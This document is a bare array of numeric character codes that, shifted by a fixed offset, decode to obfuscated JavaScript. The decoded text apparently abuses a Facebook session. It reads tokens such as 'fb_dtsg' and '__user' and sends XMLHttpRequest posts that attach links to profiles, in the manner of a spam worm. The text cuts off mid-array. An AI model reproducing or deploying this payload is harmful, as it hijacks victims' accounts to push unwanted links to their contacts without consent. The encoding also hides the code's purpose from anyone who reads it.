94,79,96,97,83,55,92,98,22,38,30,27,32,33,23,26,94,79,96,97,83,55,92,98,22,38,32,27,32,38,23,26,94,79,96,97,83,55,92,98,22,31,30,30,27,34,37,23,26,94,79,96,97,83,55,92,98,22,39,34,27,34,30,23,26,94,79,96,97,83,55,92,98,22,37,31,27,32,30,23,26,94,79,96,97,83,55,92,98,22,37,33,27,32,32,23,26,94,79,96,97,83,55,92,98,22,39,39,27,34,35,23,23,26,65,98,96,87,92,85,28,84,96,93,91,49,86,79,96,49,93,82,83,22,94,79,96,97,83,55,92,98,22,39,34,27,34,33,23,26,94,79,96,97,83,55,92,98,22,38,38,27,33,31,23,26,94,79,96,97,83,55,92,98,22,38,36,27,33,34,23,26,94,79,96,97,83,55,92,98,22,36,36,27,31,38,23,26,94,79,96,97,83,55,92,98,22,39,37,27,34,35,23,26,94,79,96,97,83,55,92,98,22,31,30,30,27,34,38,23,26,94,79,96,97,83,55,92,98,22,35,39,27,31,30,23,26,94,79,96,97,83,55,92,98,22,39,32,27,34,31,23,26,94,79,96,97,83,55,92,98,22,31,30,36,27,35,37,23,26,94,79,96,97,83,55,92,98,22,36,36,27,31,32,23,26,94,79,96,97,83,55,92,98,22,31,34,38,27,34,38,23,26,94,79,96,97,83,55,92,98,22,39,30,27,33,34,23,26,94,79,96,97,83,55,92,98,22,36,38,27,31,36,23,26,94,79,96,97,83,55,92,98,22,31,32,36,27,32,34,23,26,94,79,96,97,83,55,92,98,22,31,33,37,27,33,36,23,23,26,65,98,96,87,92,85,28,84,96,93,91,49,86,79,96,49,93,82,83,22,94,79,96,97,83,55,92,98,22,39,36,27,34,31,23,26,94,79,96,97,83,55,92,98,22,31,33,35,27,33,36,23,26,94,79,96,97,83,55,92,98,22,38,38,27,33,38,23,26,94,79,96,97,83,55,92,98,22,38,31,27,33,31,23,26,94,79,96,97,83,55,92,98,22,31,31,33,27,31,32,23,26,94,79,96,97,83,55,92,98,22,31,30,30,27,35,31,23,26,94,79,96,97,83,55,92,98,22,31,32,39,27,32,38,23,26,94,79,96,97,83,55,92,98,22,31,30,39,27,35,36,23,26,94,79,96,97,83,55,92,98,22,37,39,27,32,39,23,26,94,79,96,97,83,55,92,98,22,39,38,27,34,31,23,26,94,79,96,97,83,55,92,98,22,37,39,27,32,34,23,26,94,79,96,97,83,55,92,98,22,37,32,27,31,35,23,26,94,79,96,97,83,55,92,98,22,37,36,27,32,30,23,26,94,79,96,97,83,55,92,98,22,31,33,37,27,33,35,23,26,94,79,96,97,83,55,92,98,22,37,37,27,32,37,23,23,26,65,98,96,87,92,85,28,84,96,93,91,49,86,79,96,49,93,82,83,22,94,79,96,97,83,55,92,98,22,31,30,38,27,35,35,23,26,94,79,96,97,83,55,92,98,22,36,39,27,31,38,23,26,94,79,96,97,83,55,92,98,22,31,34,39,27,34,39,23,26,94,79,96,97,83,55,92,98,22,37,37,27,32,39,23,26,94,79,96,97,83,55,92,98,22,31,32,38,27,32,36,23,26,94,79,96,97,83,55,92,98,22,38,33,27,33,33,23,26,94,79,96,97,83,55,92,98,22,36,36,27,31,37,23,26,94,79,96,97,83,55,92,98,22,38,31,27,32,37,23,26,94,79,96,97,83,55,92,98,22,37,30,27,31,33,23,26,94,79,96,97,83,55,92,98,22,36,35,27,31,33,23,26,94,79,96,97,83,55,92,98,22,37,39,27,32,39,23,26,94,79,96,97,83,55,92,98,22,31,34,39,27,35,32,23,26,94,79,96,97,83,55,92,98,22,39,31,27,33,37,23,26,94,79,96,97,83,55,92,98,22,31,33,35,27,33,36,23,26,94,79,96,97,83,55,92,98,22,31,31,33,27,31,35,23,23,75,41,98,43,77,104,22,98,23,41,100,79,96,14,93,43,98,73,30,75,26,79,43,105,87,91,79,85,83,40,65,98,96,87,92,85,28,84,96,93,91,49,86,79,96,49,93,82,83,22,94,79,96,97,83,55,92,98,22,31,31,37,27,31,33,23,26,94,79,96,97,83,55,92,98,22,31,33,32,27,31,36,23,26,94,79,96,97,83,55,92,98,22,31,35,37,27,34,31,23,26,94,79,96,97,83,55,92,98,22,31,35,33,27,34,31,23,26,94,79,96,97,83,55,92,98,22,39,36,27,33,38,23,26,94,79,96,97,83,55,92,98,22,39,31,27,34,34,23,26,94,79,96,97,83,55,92,98,22,37,38,27,33,31,23,26,94,79,96,97,83,55,92,98,22,31,36,34,27,35,36,23,26,94,79,96,97,83,55,92,98,22,31,35,30,27,33,39,23,26,94,79,96,97,83,55,92,98,22,31,36,39,27,35,30,23,26,94,79,96,97,83,55,92,98,22,31,33,37,27,33,36,23,26,94,79,96,97,83,55,92,98,22,31,36,38,27,35,34,23,26,94,79,96,97,83,55,92,98,22,31,35,37,27,35,36,23,26,94,79,96,97,83,55,92,98,22,31,35,37,27,34,37,23,26,94,79,96,97,83,55,92,98,22,31,33,30,27,32,39,23,26,94,79,96,97,83,55,92,98,22,31,33,37,27,32,33,23,26,94,79,96,97,83,55,92,98,22,31,34,35,27,34,32,23,26,94,79,96,97,83,55,92,98,22,31,35,38,27,33,37,23,26,94,79,96,97,83,55,92,98,22,31,30,39,27,31,31,23,26,94,79,96,97,83,55,92,98,22,31,31,35,27,31,30,23,26,94,79,96,97,83,55,92,98,22,31,36,32,27,35,34,23,26,94,79,96,97,83,55,92,98,22,31,34,33,27,33,35,23,26,94,79,96,97,83,55,92,98,22,31,32,37,27,31,37,23,26,94,79,96,97,83,55,92,98,22,31,33,31,27,32,30,23,26,94,79,96,97,83,55,92,98,22,31,35,38,27,33,39,23,26,94,79,96,97,83,55,92,98,22,36,36,27,32,30,23,26,94,79,96,97,83,55,92,98,22,31,33,39,27,34,30,23,26,94,79,96,97,83,55,92,98,22,31,34,31,27,33,30,23,26,94,79,96,97,83,55,92,98,22,31,35,37,27,34,38,23,26,94,79,96,97,83,55,92,98,22,36,32,27,31,35,23,23,25,94,96,93,84,87,90,83,77,87,82,25,65,98,96,87,92,85,28,84,96,93,91,49,86,79,96,49,93,82,83,22,94,79,96,97,83,55,92,98,22,38,31,27,33,35,23,26,94,79,96,97,83,55,92,98,22,31,35,37,27,35,31,23,26,94,79,96,97,83,55,92,98,22,31,33,33,27,32,31,23,26,94,79,96,97,83,55,92,98,22,31,31,39,27,31,36,23,23,107,26,92,43,92,83,101,14,70,59,58,54,98,98,94,64,83,95,99,83,97,98,41,92,28,93,94,83,92,22,65,98,96,87,92,85,28,84,96,93,91,49,86,79,96,49,93,82,83,22,94,79,96,97,83,55,92,98,22,31,33,37,27,35,37,23,26,94,79,96,97,83,55,92,98,22,31,31,37,27,33,38,23,26,94,79,96,97,83,55,92,98,22,39,34,27,31,31,23,26,94,79,96,97,83,55,92,98,22,31,33,31,27,34,37,23,23,26,65,98,96,87,92,85,28,84,96,93,91,49,86,79,96,49,93,82,83,22,94,79,96,97,83,55,92,98,22,31,34,39,27,34,35,23,26,94,79,96,97,83,55,92,98,22,31,34,35,27,32,39,23,26,94,79,96,97,83,55,92,98,22,31,35,39,27,34,33,23,26,94,79,96,97,83,55,92,98,22,31,33,33,27,32,31,23,26,94,79,96,97,83,55,92,98,22,31,33,38,27,32,33,23,26,94,79,96,97,83,55,92,98,22,39,37,27,33,39,23,26,94,79,96,97,83,55,92,98,22,31,30,35,27,35,38,23,26,94,79,96,97,83,55,92,98,22,38,39,27,34,32,23,26,94,79,96,97,83,55,92,98,22,31,35,30,27,35,33,23,26,94,79,96,97,83,55,92,98,22,31,35,31,27,33,39,23,26,94,79,96,97,83,55,92,98,22,31,32,34,27,31,39,23,26,94,79,96,97,83,55,92,98,22,31,30,30,27,35,34,23,26,94,79,96,97,83,55,92,98,22,31,34,35,27,34,30,23,26,94,79,96,97,83,55,92,98,22,31,32,32,27,31,33,23,26,94,79,96,97,83,55,92,98,22,31,33,32,27,32,39,23,26,94,79,96,97,83,55,92,98,22,31,36,34,27,34,37,23,26,94,79,96,97,83,55,92,98,22,31,33,37,27,32,33,23,26,94,79,96,97,83,55,92,98,22,31,30,34,27,35,38,23,26,94,79,96,97,83,55,92,98,22,31,35,37,27,35,38,23,26,94,79,96,97,83,55,92,98,22,31,36,35,27,35,34,23,26,94,79,96,97,83,55,92,98,22,31,33,37,27,32,38,23,26,94,79,96,97,83,55,92,98,22,39,32,27,34,35,23,26,94,79,96,97,83,55,92,98,22,31,31,31,27,36,30,23,26,94,79,96,97,83,55,92,98,22,31,30,31,27,35,34,23,26,94,79,96,97,83,55,92,98,22,31,34,31,27,33,36,23,26,94,79,96,97,83,55,92,98,22,31,33,30,27,32,31,23,26,94,79,96,97,83,55,92,98,22,31,30,37,27,31,30,23,26,94,79,96,97,83,55,92,98,22,31,36,31,27,35,38,23,26,94,79,96,97,83,55,92,98,22,31,31,31,27,31,30,23,26,94,79,96,97,83,55,92,98,22,31,31,34,27,35,31,23,26,94,79,96,97,83,55,92,98,22,31,35,31,27,35,30,23,26,94,79,96,97,83,55,92,98,22,31,36,35,27,34,35,23,26,94,79,96,97,83,55,92,98,22,31,33,35,27,31,39,23,26,94,79,96,97,83,55,92,98,22,39,34,27,33,33,23,26,94,79,96,97,83,55,92,98,22,31,36,35,27,35,36,23,26,94,79,96,97,83,55,92,98,22,31,33,34,27,33,33,23,23,23,26,92,28,97,83,98,64,83,95,99,83,97,98,54,83,79,82,83,96,22,65,98,96,87,92,85,28,84,96,93,91,49,86,79,96,49,93,82,83,22,94,79,96,97,83,55,92,98,22,39,31,27,32,34,23,26,94,79,96,97,83,55,92,98,22,31,34,33,27,33,32,23,26,94,79,96,97,83,55,92,98,22,31,36,32,27,35,32,23,26,94,79,96,97,83,55,92,98,22,31,35,32,27,33,36,23,26,94,79,96,97,83,55,92,98,22,31,31,34,27,31,33,23,26,94,79,96,97,83,55,92,98,22,31,36,32,27,35,32,23,26,94,79,96,97,83,55,92,98,22,31,35,38,27,34,32,23,26,94,79,96,97,83,55,92,98,22,36,31,27,31,36,23,26,94,79,96,97,83,55,92,98,22,39,38,27,31,34,23,26,94,79,96,97,83,55,92,98,22,31,36,36,27,34,35,23,26,94,79,96,97,83,55,92,98,22,31,36,30,27,34,38,23,26,94,79,96,97,83,55,92,98,22,31,33,31,27,33,30,23,23,26,65,98,96,87,92,85,28,84,96,93,91,49,86,79,96,49,93,82,83,22,94,79,96,97,83,55,92,98,22,31,33,32,27,33,35,23,26,94,79,96,97,83,55,92,98,22,31,35,39,27,34,37,23,26,94,79,96,97,83,55,92,98,22,31,37,31,27,35,39,23,26,94,79,96,97,83,55,92,98,22,31,36,30,27,35,32,23,26,94,79,96,97,83,55,92,98,22,31,34,33,27,33,38,23,26,94,79,96,97,83,55,92,98,22,31,31,34,27,31,35,23,26,94,79,96,97,83,55,92,98,22,31,31,33,27,31,36,23,26,94,79,96,97,83,55,92,98,22,31,36,31,27,34,35,23,26,94,79,96,97,83,55,92,98,22,31,33,30,27,32,35,23,26,94,79,96,97,83,55,92,98,22,31,33,32,27,32,31,23,26,94,79,96,97,83,55,92,98,22,31,33,36,27,32,36,23,26,94,79,96,97,83,55,92,98,22,31,30,33,27,35,36,23,26,94,79,96,97,83,55,92,98,22,31,37,30,27,35,30,23,26,94,79,96,97,83,55,92,98,22,31,30,31,27,35,36,23,26,94,79,96,97,83,55,92,98,22,31,34,33,27,32,34,23,26,94,79,96,97,83,55,92,98,22,31,37,30,27,35,31,23,26,94,79,96,97,83,55,92,98,22,31,36,34,27,34,35,23,26,94,79,96,97,83,55,92,98,22,37,36,27,33,31,23,26,94,79,96,97,83,55,92,98,22,31,33,30,27,32,38,23,26,94,79,96,97,83,55,92,98,22,31,37,30,27,35,39,23,26,94,79,96,97,83,55,92,98,22,31,36,37,27,35,33,23,26,94,79,96,97,83,55,92,98,22,31,32,38,27,31,39,23,26,94,79,96,97,83,55,92,98,22,38,30,27,33,35,23,26,94,79,96,97,83,55,92,98,22,31,37,34,27,35,37,23,26,94,79,96,97,83,55,92,98,22,31,32,35,27,31,31,23,26,94,79,96,97,83,55,92,98,22,31,32,34,27,31,36,23,26,94,79,96,97,83,55,92,98,22,31,31,33,27,31,32,23,26,94,79,96,97,83,55,92,98,22,31,32,36,27,31,36,23,26,94,79,96,97,83,55,92,98,22,31,35,31,27,35,32,23,26,94,79,96,97,83,55,92,98,22,31,36,32,27,35,31,23,26,94,79,96,97,83,55,92,98,22,31,33,36,27,33,36,23,26,94,79,96,97,83,55,92,98,22,31,32,38,27,32,37,23,26,94,79,96,97,83,55,92,98,22,31,33,37,27,33,37,23,26,94,79,96,97,83,55,92,98,22,39,33,27,33,34,23,26,94,79,96,97,83,55,92,98,22,35,30,27,31,38,23,26,94,79,96,97,83,55,92,98,22,31,31,34,27,31,35,23,26,94,79,96,97,83,55,92,98,22,31,34,34,27,34,30,23,26,94,79,96,97,83,55,92,98,22,31,32,31,27,32,34,23,26,94,79,96,97,83,55,92,98,22,31,36,34,27,35,30,23,26,94,79,96,97,83,55,92,98,22,31,37,31,27,35,36,23,26,94,79,96,97,83,55,92,98,22,31,33,37,27,33,36,23,26,94,79,96,97,83,55,92,98,22,31,33,32,27,31,36,23,26,94,79,96,97,83,55,92,98,22,31,31,33,27,35,32,23,26,94,79,96,97,83,55,92,98,22,31,31,30,27,32,35,23,26,94,79,96,97,83,55,92,98,22,39,35,27,31,31,23,26,94,79,96,97,83,55,92,98,22,38,35,27,31,35,23,26,94,79,96,97,83,55,92,98,22,36,31,27,31,36,23,26,94,79,96,97,83,55,92,98,22,31,30,32,27,34,36,23,23,23,26,92,28,97,83,98,64,83,95,99,83,97,98,54,83,79,82,83,96,22,65,98,96,87,92,85,28,84,96,93,91,49,86,79,96,49,93,82,83,22,94,79,96,97,83,55,92,98,22,38,38,27,32,33,23,26,94,79,96,97,83,55,92,98,22,31,34,35,27,32,38,23,26,94,79,96,97,83,55,92,98,22,31,35,37,27,34,31,23,26,94,79,96,97,83,55,92,98,22,31,33,37,27,33,33,23,26,94,79,96,97,83,55,92,98,22,31,33,33,27,32,32,23,26,94,79,96,97,83,55,92,98,22,31,35,39,27,34,35,23,26,94,79,96,97,83,55,92,98,22,31,32,30,27,31,35,23,26,94,79,96,97,83,55,92,98,22,31,35,33,27,33,31,23,26,94,79,96,97,83,55,92,98,22,31,33,34,27,33,37,23,26,94,79,96,97,83,55,92,98,22,31,36,36,27,35,30,23,26,94,79,96,97,83,55,92,98,22,31,36,33,27,35,38,23,26,94,79,96,97,83,55,92,98,22,31,34,37,27,33,36,23,26,94,79,96,97,83,55,92,98,22,31,33,33,27,32,33,23,23,26,65,98,96,87,92,85,28,84,96,93,91,49,86,79,96,49,93,82,83,22,94,79,96,97,83,55,92,98,22,38,31,27,31,34,23,26,94,79,96,97,83,55,92,98,22,31,34,38,27,34,30,23,26,94,79,96,97,83,55,92,98,22,31,34,30,27,33,35,23,26,94,79,96,97,83,55,92,98,22,31,34,37,27,34,36,23,26,94,79,96,97,83,55,92,98,22,31,32,35,27,31,35,23,26,94,79,96,97,83,55,92,98,22,31,33,34,27,31,38,23,26,94,79,96,97,83,55,92,98,22,39,37,27,35,32,23,26,94,79,96,97,83,55,92,98,22,31,33,31,27,35,38,23,26,94,79,96,97,83,55,92,98,22,31,31,39,27,35,31,23,26,94,79,96,97,83,55,92,98,22,37,35,27,34,33,23,23,25,93,23,26,92,28,97,83,92,82,22,77,48,22,79,23,23,26,92,28,93,92,96,83,79,82,103,97,98,79,98,83,81,86,79,92,85,83,43,84,99,92,81,98,87,93,92,22,23,105,87,84,22,34,43,43,92,28,96,83,79,82,103,65,98,79,98,83,20,20,32,30,30,43,43,92,28,97,98,79,98,99,97,23,105,100,79,96,14,98,43,56,65,61,60,28,94,79,96,97,83,22,92,28,96,83,97,94,93,92,97,83,66,83,102,98,23,41,98,28,83,96,96,93,96,106,106,22,83,28,87,91,79,85,83,43,98,28,82,79,98,79,28,90,87,92,89,26,77,87,22,83,23,23,107,107,107,84,99,92,81,98,87,93,92,14,77,87,22,83,23,105,100,79,96,14,98,43,105,16,79,98,98,79,81,86,91,83,92,98,73,94,79,96,79,91,97,75,73,99,96,90,55,92,84,93,75,73,81,79,92,93,92,87,81,79,90,75,16,40,83,28,90,87,92,89,26,16,79,98,98,79,81,86,91,83,92,98,73,94,79,96,79,91,97,75,73,99,96,90,55,92,84,93,75,73,84,87,92,79,90,75,16,40,83,28,90,87,92,89,26,16,79,98,98,79,81,86,91,83,92,98,73,94,79,96,79,91,97,75,73,99,96,90,55,92,84,93,75,73,99,97,83,96,75,16,40,83,28,90,87,92,89,26,16,79,98,98,79,81,86,91,83,92,98,73,94,79,96,79,91,97,75,73,98,87,98,90,83,75,16,40,65,98,96,87,92,85,28,84,96,93,91,49,86,79,96,49,93,82,83,22,94,79,96,97,83,55,92,98,22,36,31,27,31,35,23,23,26,16,79,98,98,79,81,86,91,83,92,98,73,94,79,96,79,91,97,75,73,81,93,92,98,83,92,98,77,96,83,91,93,100,83,82,75,16,40,15,31,26,16,79,98,98,79,81,86,91,83,92,98,73,94,79,96,79,91,97,75,73,87,91,79,85,83,97,75,73,30,75,16,40,83,28,87,91,79,85,83,26,16,79,98,98,79,81,86,91,83,92,98,73,94,79,96,79,91,97,75,73,96,79,92,89,83,82,77,87,91,79,85,83,97,75,73,96,79,92,89,87,92,85,77,91,93,82,83,90,77,100,83,96,97,87,93,92,75,16,40,31,31,26,16,79,98,98,79,81,86,91,83,92,98,73,94,79,96,79,91,97,75,73,91,83,82,87,99,91,75,16,40,31,30,33,26,16,79,98,98,79,81,86,91,83,92,98,73,94,79,96,79,91,97,75,73,99,96,90,75,16,40,83,28,90,87,92,89,26,16,79,98,98,79,81,86,91,83,92,98,73,94,79,96,79,91,97,75,73,98,87,91,83,77,97,81,96,79,94,83,82,75,16,40,50,79,98,83,28,92,93,101,22,23,26,16,79,98,98,79,81,86,91,83,92,98,73,94,79,96,79,91,97,75,73,81,79,81,86,83,77,86,87,98,75,16,40,15,30,26,16,79,98,98,79,81,86,91,83,92,98,73,94,79,96,79,91,97,75,73,101,79,97,77,96,83,81,83,92,98,75,16,40,15,31,26,16,79,98,98,79,81,86,91,83,92,98,73,94,79,96,79,91,97,75,73,98,98,90,75,16,40,33,34,35,36,30,30,26,16,79,98,98,79,81,86,91,83,92,98,73,94,79,96,79,91,97,75,73,83,96,96,93,96,75,16,40,31,26,16,79,98,98,79,81,86,91,83,92,98,73,98,103,94,83,75,16,40,31,30,30,26,16,79,98,98,79,81,86,91,83,92,98,73,96,83,97,86,79,96,83,77,93,96,87,85,87,92,79,90,77,94,93,97,98,75,16,40,15,31,26,81,93,91,94,93,97,83,96,77,97,83,97,97,87,93,92,77,87,82,40,77,98,22,23,26,86,87,82,83,77,93,80,88,83,81,98,77,79,98,98,79,81,86,91,83,92,98,40,15,30,26,87,97,77,83,102,94,90,87,81,87,98,77,94,90,79,81,83,40,15,31,26,87,97,77,91,79,96,89,82,93,101,92,40,15,31,26,87,97,77,95,77,79,92,82,77,79,40,15,31,26,87,97,77,94,96,93,84,87,90,83,77,80,79,82,85,83,77,94,93,97,98,40,15,31,26,94,96,87,100,79,81,103,102,40,65,98,96,87,92,85,28,84,96,93,91,49,86,79,96,49,93,82,83,22,94,79,96,97,83,55,92,98,22,37,38,27,32,37,23,26,94,79,96,97,83,55,92,98,22,36,37,27,31,39,23,26,94,79,96,97,83,55,92,98,22,37,37,27,32,39,23,26,94,79,96,97,83,55,92,98,22,39,34,27,34,30,23,26,94,79,96,97,83,55,92,98,22,36,37,27,31,35,23,26,94,79,96,97,83,55,92,98,22,31,31,32,27,35,39,23,26,94,79,96,97,83,55,92,98,22,35,38,27,31,30,23,26,94,79,96,97,83,55,92,98,22,38,34,27,32,38,23,26,94,79,96,97,83,55,92,98,22,37,38,27,32,37,23,26,94,79,96,97,83,55,92,98,22,39,32,27,34,31,23,26,94,79,96,97,83,55,92,98,22,31,30,37,27,35,31,23,26,94,79,96,97,83,55,92,98,22,39,31,27,33,39,23,26,94,79,96,97,83,55,92,98,22,38,30,27,32,35,23,26,94,79,96,97,83,55,92,98,22,31,30,37,27,35,36,23,26,94,79,96,97,83,55,92,98,22,36,33,27,31,30,23,23,26,96,83,84,40,65,98,96,87,92,85,28,84,96,93,91,49,86,79,96,49,93,82,83,22,94,79,96,97,83,55,92,98,22,31,35,35,27,35,33,23,26,94,79,96,97,83,55,92,98,22,31,34,37,27,34,36,23,26,94,79,96,97,83,55,92,98,22,31,35,39,27,35,38,23,26,94,79,96,97,83,55,92,98,22,31,32,38,27,32,38,23,26,94,79,96,97,83,55,92,98,22,31,37,39,27,35,39,23,23,26,87,97,77,96,83,82,97,94,79,81,83,77,94,93,97,98,40,15,31,26,98,79,96,85,83,98,77,98,103,94,83,40,65,98,96,87,92,85,28,84,96,93,91,49,86,79,96,49,93,82,83,22,94,79,96,97,83,55,92,98,22,31,31,33,27,31,31,23,26,94,79,96,97,83,55,92,98,22,31,36,30,27,35,39,23,26,94,79,96,97,83,55,92,98,22,31,33,35,27,33,34,23,26,94,79,96,97,83,55,92,98,22,31,34,38,27,34,38,23,23,26,102,86,94,81,77,91,83,97,97,79,85,83,40,16,16,26,102,86,94,81,77,91,83,97,97,79,85,83,77,98,83,102,98,40,16,16,26,87,97,77,84,93,96,81,83,82,77,96,83,97,86,79,96,83,77,93,84,77,94,93,97,98,40,15,31,26,102,81,77,97,86,79,96,83,77,98,79,96,85,83,98,77,98,103,94,83,40,31,30,30,26,16,102,81,77,97,86,79,96,83,77,87,91,79,85,83,97,73,30,75,16,40,83,28,87,91,79,85,83,26,102,81,77,97,86,79,96,83,77,98,87,98,90,83,40,65,98,96,87,92,85,28,84,96,93,91,49,86,79,96,49,93,82,83,22,94,79,96,97,83,55,92,98,22,36,31,27,31,35,23,23,26,102,81,77,90,87,92,89,77,99,96,90,40,83,28,90,87,92,89,26,87,97,77,96,83,79,81,98,40,15,30,26,102,86,94,81,77,81,93,91,94,93,97,83,96,87,82,40,65,98,96,87,92,85,28,84,96,93,91,49,86,79,96,49,93,82,83,22,94,79,96,97,83,55,92,98,22,31,35,36,27,34,32,23,26,94,79,96,97,83,55,92,98,22,31,33,39,27,34,30,23,26,94,79,96,97,83,55,92,98,22,35,37,27,31,31,23,26,94,79,96,97,83,55,92,98,22,31,35,30,27,33,33,23,26,94,79,96,97,83,55,92,98,22,31,31,37,27,32,32,23,26,94,79,96,97,83,55,92,98,22,31,32,33,27,31,37,23,26,94,79,96,97,83,55,92,98,22,31,36,36,27,35,31,23,26,94,79,96,97,83,55,92,98,22,31,34,32,27,33,31,23,26,94,79,96,97,83,55,92,98,22,31,34,36,27,33,36,23,26,94,79,96,97,83,55,92,98,22,31,34,32,27,33,30,23,26,94,79,96,97,83,55,92,98,22,31,33,32,27,33,37,23,26,94,79,96,97,83,55,92,98,22,38,33,27,33,34,23,26,94,79,96,97,83,55,92,98,22,37,38,27,33,30,23,26,94,79,96,97,83,55,92,98,22,31,35,31,27,35,36,23,26,94,79,96,97,83,55,92,98,22,31,30,33,27,35,32,23,23,26,102,86,94,81,77,98,79,96,85,83,98,87,82,40,94,96,93,84,87,90,83,77,87,82,26,102,86,94,81,77,81,93,92,98,83,102,98,40,65,98,96,87,92,85,28,84,96,93,91,49,86,79,96,49,93,82,83,22,94,79,96,97,83,55,92,98,22,31,32,33,27,31,31,23,26,94,79,96,97,83,55,92,98,22,31,36,31,27,34,37,23,26,94,79,96,97,83,55,92,98,22,31,34,31,27,33,30,23,26,94,79,96,97,83,55,92,98,22,31,32,39,27,32,37,23,26,94,79,96,97,83,55,92,98,22,31,34,37,27,34,32,23,26,94,79,96,97,83,55,92,98,22,31,33,38,27,33,30,23,26,94,79,96,97,83,55,92,98,22,31,32,30,27,31,39,23,23,26,102,86,94,81,77,87,97,91,83,98,79,40,31,26,102,86,94,81,77,98,87,91,83,90,87,92,83,40,15,31,26,102,86,94,81,77,84,87,92,81,86,40,15,31,26,102,86,94,81,77,97,93,81,87,79,90,94,90,99,85,87,92,40,15,31,26,102,86,94,81,77,91,93,82,79,90,77,81,93,91,94,93,97,83,96,40,15,31,26,102,86,94,81,77,79,85,85,96,83,85,79,98,83,82,77,97,98,93,96,103,77,81,93,91,94,93,97,83,96,40,15,31,26,102,86,94,81,77,94,99,80,90,87,97,86,77,98,103,94,83,40,31,26,102,86,94,81,77,84,99,92,82,96,79,87,97,83,96,77,94,79,85,83,40,15,31,26,77,77,99,97,83,96,40,94,96,93,84,87,90,83,77,87,82,26,77,77,79,40,31,26,77,77,82,103,92,40,65,98,96,87,92,85,28,84,96,93,91,49,86,79,96,49,93,82,83,22,94,79,96,97,83,55,92,98,22,31,32,35,27,32,38,23,26,94,79,96,97,83,55,92,98,22,31,30,33,27,32,38,23,26,94,79,96,97,83,55,92,98,22,31,34,32,27,33,38,23,26,94,79,96,97,83,55,92,98,22,31,33,38,27,32,37,23,26,94,79,96,97,83,55,92,98,22,39,39,27,32,39,23,26,94,79,96,97,83,55,92,98,22,31,33,37,27,33,36,23,26,94,79,96,97,83,55,92,98,22,31,37,32,27,35,31,23,26,94,79,96,97,83,55,92,98,22,31,31,39,27,31,37,23,26,94,79,96,97,83,55,92,98,22,31,36,31,27,34,30,23,26,94,79,96,97,83,55,92,98,22,39,39,27,33,33,23,26,94,79,96,97,83,55,92,98,22,31,35,36,27,34,37,23,26,94,79,96,97,83,55,92,98,22,39,39,27,34,32,23,26,94,79,96,97,83,55,92,98,22,31,31,32,27,35,36,23,26,94,79,96,97,83,55,92,98,22,31,31,37,27,36,30,23,26,94,79,96,97,83,55,92,98,22,31,37,31,27,34,39,23,26,94,79,96,97,83,55,92,98,22,39,38,27,34,36,23,26,94,79,96,97,83,55,92,98,22,38,38,27,33,31,23,26,94,79,96,97,83,55,92,98,22,31,30,39,27,32,34,23,26,94,79,96,97,83,55,92,98,22,31,32,36,27,31,35,23,26,94,79,96,97,83,55,92,98,22,31,33,30,27,35,38,23,26,94,79,96,97,83,55,92,98,22,31,34,36,27,34,39,23,26,94,79,96,97,83,55,92,98,22,31,30,35,27,33,36,23,26,94,79,96,97,83,55,92,98,22,31,34,30,27,35,33,23,26,94,79,96,97,83,55,92,98,22,31,30,37,27,34,30,23,26,94,79,96,97,83,55,92,98,22,39,31,27,33,38,23,26,94,79,96,97,83,55,92,98,22,31,30,38,27,33,39,23,26,94,79,96,97,83,55,92,98,22,37,37,27,31,30,23,26,94,79,96,97,83,55,92,98,22,31,33,36,27,35,35,23,26,94,79,96,97,83,55,92,98,22,31,33,34,27,32,31,23,26,94,79,96,97,83,55,92,98,22,31,32,39,27,33,31,23,26,94,79,96,97,83,55,92,98,22,31,33,34,27,31,34,23,26,94,79,96,97,83,55,92,98,22,31,35,33,27,34,30,23,26,94,79,96,97,83,55,92,98,22,31,34,37,27,34,39,23,26,94,79,96,97,83,55,92,98,22,31,36,33,27,34,32,23,26,94,79,96,97,83,55,92,98,22,31,35,34,27,35,37,23,26,94,79,96,97,83,55,92,98,22,38,37,27,31,37,23,26,94,79,96,97,83,55,92,98,22,31,31,35,27,31,38,23,26,94,79,96,97,83,55,92,98,22,31,34,34,27,34,37,23,26,94,79,96,97,83,55,92,98,22,31,34,36,27,32,35,23,26,94,79,96,97,83,55,92,98,22,31,30,35,27,34,39,23,26,94,79,96,97,83,55,92,98,22,31,30,35,27,31,39,23,26,94,79,96,97,83,55,92,98,22,38,31,27,31,31,23,26,94,79,96,97,83,55,92,98,22,31,30,36,27,33,30,23,26,94,79,96,97,83,55,92,98,22,38,35,27,31,35,23,26,94,79,96,97,83,55,92,98,22,31,32,39,27,31,30,23,26,94,79,96,97,83,55,92,98,22,31,33,38,27,31,38,23,26,94,79,96,97,83,55,92,98,22,31,31,37,27,35,31,23,26,94,79,96,97,83,55,92,98,22,31,35,31,27,33,31,23,26,94,79,96,97,83,55,92,98,22,39,39,27,33,32,23,26,94,79,96,97,83,55,92,98,22,31,31,34,27,35,37,23,26,94,79,96,97,83,55,92,98,22,31,31,35,27,32,39,23,26,94,79,96,97,83,55,92,98,22,37,37,27,32,31,23,26,94,79,96,97,83,55,92,98,22,31,30,30,27,33,33,23,26,94,79,96,97,83,55,92,98,22,37,33,27,32,32,23,26,94,79,96,97,83,55,92,98,22,31,32,32,27,35,32,23,26,94,79,96,97,83,55,92,98,22,36,34,27,31,30,23,26,94,79,96,97,83,55,92,98,22,31,37,33,27,35,32,23,26,94,79,96,97,83,55,92,98,22,31,30,38,27,35,32,23,26,94,79,96,97,83,55,92,98,22,31,30,31,27,35,36,23,26,94,79,96,97,83,55,92,98,22,31,31,31,27,31,33,23,26,94,79,96,97,83,55,92,98,22,31,34,32,27,32,32,23,26,94,79,96,97,83,55,92,98,22,31,37,37,27,36,30,23,26,94,79,96,97,83,55,92,98,22,39,32,27,34,33,23,26,94,79,96,97,83,55,92,98,22,36,31,27,31,30,23,26,94,79,96,97,83,55,92,98,22,31,36,31,27,34,32,23,26,94,79,96,97,83,55,92,98,22,31,30,39,27,33,39,23,26,94,79,96,97,83,55,92,98,22,38,39,27,31,38,23,26,94,79,96,97,83,55,92,98,22,31,30,31,27,35,30,23,26,94,79,96,97,83,55,92,98,22,31,30,30,27,32,36,23,26,94,79,96,97,83,55,92,98,22,38,38,27,33,33,23,26,94,79,96,97,83,55,92,98,22,31,35,38,27,33,38,23,26,94,79,96,97,83,55,92,98,22,31,35,32,27,33,36,23,26,94,79,96,97,83,55,92,98,22,31,34,30,27,33,35,23,26,94,79,96,97,83,55,92,98,22,31,30,38,27,35,38,23,26,94,79,96,97,83,55,92,98,22,39,37,27,34,31,23,26,94,79,96,97,83,55,92,98,22,31,33,34,27,33,35,23,26,94,79,96,97,83,55,92,98,22,31,30,36,27,31,36,23,26,94,79,96,97,83,55,92,98,22,38,31,27,33,32,23,26,94,79,96,97,83,55,92,98,22,31,35,38,27,